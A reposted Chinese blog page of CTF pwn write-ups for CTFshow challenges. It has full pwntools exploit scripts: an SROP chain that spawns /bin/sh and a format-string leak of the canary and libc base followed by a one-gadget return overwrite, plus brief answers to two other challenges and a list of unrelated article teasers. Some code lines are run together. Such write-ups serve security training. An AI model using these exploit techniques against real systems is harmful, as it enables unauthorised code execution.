PWN-PRACTICE-CTFSHOW-7

PWN-PRACTICE-CTFSHOW-7

    • 大吉大利杯-easyrop
    • 大牛杯-guess
    • 吃鸡杯-win_pwn
    • 吃鸡杯-easy_canary

大吉大利杯-easyrop

栈溢出,SROP

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
context.arch="amd64" #32位和64位的sigframe结构不同,需要指定处理器架构
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28078)
elf=ELF("./pwn1")syscall=0x4000DC #syscall gadget
buf=0x6000E0 #buf address
pop_rax=0x4000DB #pop rax;syscall gadgetsigframe = SigreturnFrame()
#sigreturn系统调用结束后,由pop恢复的寄存器值,可指定
sigframe.rax = constants.SYS_read 
sigframe.rdi = 0
sigframe.rsi = buf#输入数据的地址
sigframe.rdx = 0x300
sigframe.rsp = buf#这里设置新的栈顶与read输入的数据地址相同,ret从栈顶弹出一个地址到rip,于是控制了下一条执行指令的地址
sigframe.rip = syscallio.recvuntil("Welcome to DJB easyrop!\n")
#正常输入数据的地址与返回地址在栈上的偏移为64,填充后rop
#pop_rax将rax赋值为15,然后会syscall,即sigreturn系统调用,将sigframe里设置的寄存器值赋为新的寄存器值
#新的rip为syscall,rax为constants.SYS_read,于是再次执行read系统调用,输入数据的地址为buf
payload="a"*64+p64(pop_rax)+p64(15)+str(sigframe)
io.send(payload)sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf+0x120 # "/bin/sh\x00"的地址
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall#上面再次执行的read系统调用,输入数据的地址为buf,因为第一个sigreturn设置栈顶rsp也为buf,于是ret要从buf处弹出一个地址到rip,,作为下一条指令的地址,于是输入到buf的数据首先为pop_rax和新的sigframe
payload=p64(pop_rax)+p64(15)+str(sigframe) #由ret回到pop rax;syscall 执行sigreturn,给寄存器赋值,然后再执行execve系统调用,rdi为"/bin/sh\x00"的地址
payload=payload.ljust(0x120,"\x00")+"/bin/sh\x00"
io.send(payload)io.interactive()

大牛杯-guess

nc连上去,直接输入65538即可得到flag
guess-flag

吃鸡杯-win_pwn

exe程序,运行后随便输入一个长度为169的字符串,然后回车,即可得到flag
winpwn-flag

吃鸡杯-easy_canary

格式化字符串漏洞泄露canary和libc基地址,然后栈溢出覆盖返回地址到one-gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28140)
elf=ELF("./pwn1")number=0x6B8B4567
io.sendlineafter("lucky number:\n",p32(number))#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")#泄露canary和libc基址
payload="%15$p,%21$p"
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))
io.recvuntil("0x")
__libc_start_main=int(io.recv(12),16)-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print("libc_base=="+hex(libc_base))
ogg=libc_base+0x45216payload="a"*72+p64(canary)+"b"*8+p64(ogg)
io.sendline(payload)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/437997.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【译】谨慎使用CSS中的波浪选择器

最近我的一些项目都遇到了一些类似的样式问题。它们都错误地使用了波浪选择器,并造成了很多地方的CSS代码臃肿( CSS Bloat )。大家可能以前也都遇到或者使用过波浪选择器,毕竟它作为CSS选择器已经很长时间了, 甚至IE7都支持 。波浪选择器用来…

HTML + CSS 实现 GitHub 项目标签、徽章样式

经常会在GitHub上项目介绍的README.md文件中看到许多漂亮的标签,这些标签可以显示version、stars、license等信息 我们可以通过 https://shields.io/ 这个网站在线制作图标,填写label、message、color三个字段,点击Make Badge就可以生成图标…

PWN-PRACTICE-CTFSHOW-8

PWN-PRACTICE-CTFSHOW-8吃瓜杯-wuqian月饼杯II-简单的胖月饼杯II-容易的胖击剑杯-pwn01-My_sword_is_ready吃瓜杯-wuqian 栈溢出,ret2text # -*- coding:utf-8 -*- from pwn import * context.log_level"debug" #ioprocess("./pwn1") ioremot…

nuget 包版本冲突解决 packages.config

开发项目中安装了Newtonsoft.Json组件,遇到了必须给Newtonsoft.Json降版本的问题。 原因是:项目是MVC项目,WebApi模块必须使用framework4.5.0.0的版本。而我们在安装其他组件时,不小心升级了Newtonsoft.Json,导致了系统可以编译通…

instant.page —— 一个 JS 脚本实现网站预加载,提升页面加载速度

instant.page 使用即时预加载技术,在用户点击之前预先加载页面。当用户的鼠标悬停在一个链接上超过 65 毫秒时,浏览器会对此页面进行预加载,当用户点击链接后,就从预加载的缓存中直接读取页面内容,从而达到缩短页面加载…

陀螺仪、罗经、IMU、MEMS四者的区别

罗经:罗经是航行器用来测量运动方位的,辅助定位的仪器。 磁罗经:磁罗经可以形象的看成指南针电罗经:电罗经就要用到用电源驱动的陀螺仪。 陀螺仪:是一种物体角运动测量装置。通过对陀螺仪双轴基点在不同运动状态下偏移…

PWN-COMPETITION-HGAME2022-Week1

PWN-COMPETITION-HGAME2022-Week1enter_the_pwn_landenter_the_evil_pwn_landoldfashion_orwser_per_fatest_your_nctest_your_gdbenter_the_pwn_land 栈溢出,需要注意的是下标 i 的地址比输入s的地址更高 s溢出会覆盖 i ,于是需要小心地覆写 i 的值&am…

Hexo 博客添加 README.md 以及部署到 GitHub 丢失/显示不正常解决方法

GitHub 项目的README.md为自述文件,可对该项目进行介绍,解释等。 使用 Github Pages 和 Hexo 搭建的博客,如果在最开始建立仓库的时候没有创建README.md文件,那么在后期如何添加呢? 添加方法:在根目录 so…

REVERSE-COMPETITION-HGAME2022-Week1

REVERSE-COMPETITION-HGAME2022-Week1easyasmcreakmeFlag Checker猫头鹰是不是猫easyasm 程序一开始将si设置为0,然后si和28比较,如果si小于28则进入循环 循环体中,si作为下标,从输入中取值存入al,然后al左移4位&…

Failed to instantiate file__from module__The specified list does

Hello, I have a problem creating a site collection from my onet.xml. I guess the list “Pages” is not created correctly. What do I need to get it created? The error message; Failed to instantiate file "Default.aspx" from module "ProjectP…

谷歌浏览器检查更新时出错:无法启动更新检查(错误代码为 3: 0x80080005 -- system level)

谷歌浏览器检查更新报错:检查更新时出错:无法启动更新检查(错误代码为 3: 0x80080005 – system level),如下图所示: 网上的解决方法都是因为谷歌被墙,所以要重新下载,事实上并不是…

Hexo 博客本地预览报错:Error: listen EADDRINUSE 0.0.0.0:4000

Hexo博客在执行hexo s进行本地预览的时候,默认端口号是4000,当该端口号被占用时会报错 Error: listen EADDRINUSE 0.0.0.0:4000 ,此时可以关闭占用该端口的进程,也可以更换端口号,更换端口号可以通过以下两种方法实现&…

SharePoint入门识记-整体架构

SharePoint站点层次结构: 1.Web Application: 一般创建后对应一个IIS Web Site, 默认创建后是打不开的,因为网站没有任何内容。 2.Site Collection: 一个Web Application 下通常可以包含多个SiteCollection,创建一个SiteCollection后默认会…

如何带团队

什么样的老板才能让团队迅速壮大,有战斗力?我研究从这三个方面着手,供大家参考。 第一:分钱 当老板,别整太虚的,要清楚大家都是来挣钱的,办企业是赚钱,打工也是为了赚钱。首先谈分…

Python 中 if __name__ == '__main__': 的理解

1、这段代码的功能 一个 Python 的文件有两种使用的方法,第一是直接作为脚本执行,第二是 import 到其他的 Python 脚本中被调用(模块重用)执行。因此 if __name__ __main__: 的作用就是控制这两种情况执行代码的过程&#xff0c…

PWN-COMPETITION-HGAME2022-Week2

PWN-COMPETITION-HGAME2022-Week2blindecho_severoldfashion_noteblind 访问/proc/self/mem即可修改当前进程的内存,.text段也是可修改的 程序开始的时候直接输出了write的地址,泄露libc,然后在__libc_start_main上喷射shellcode # -*- cod…

Sharepoint学习笔记—Site Definition系列-- 1、创建Site Columns

https://www.cnblogs.com/wsdj-ITtech/archive/2012/08/12/2470219.html Site Columns是Sharepoint网站的一个重要底层结构,它是一类可重用的列定义或模板,可以将其分配给一个或多个 SharePoint 网站的一个或多个列表。 一个Site Column是由几个属性定义…

利用Cloudflare为基于GitHub Pages的Hexo博客添加HTTPS支持

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! 文章目录● 前言● 注册 Cloudflare● 添加站点● 修改DNS● 开启 HTTPS● 重定向强制 HTTPSHTTP(超文本…

REVERSE-COMPETITION-HGAME2022-Week2

REVERSE-COMPETITION-HGAME2022-Week2xD MAZEupx magic 0fake shellcreakme2upx magic 1xD MAZE 迷宫题,不过不是上下左右,而是只有前进 0-512,1-64,2-8,3-1 每一次v14加上前进的单位后,需要保证map[v14]3…

Github+jsDelivr+PicGo 打造稳定快速、高效免费图床

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! 本文原创首发于我的个人博客:www.itrhx.com,欢迎访问! 本文在我个人博客上的链接…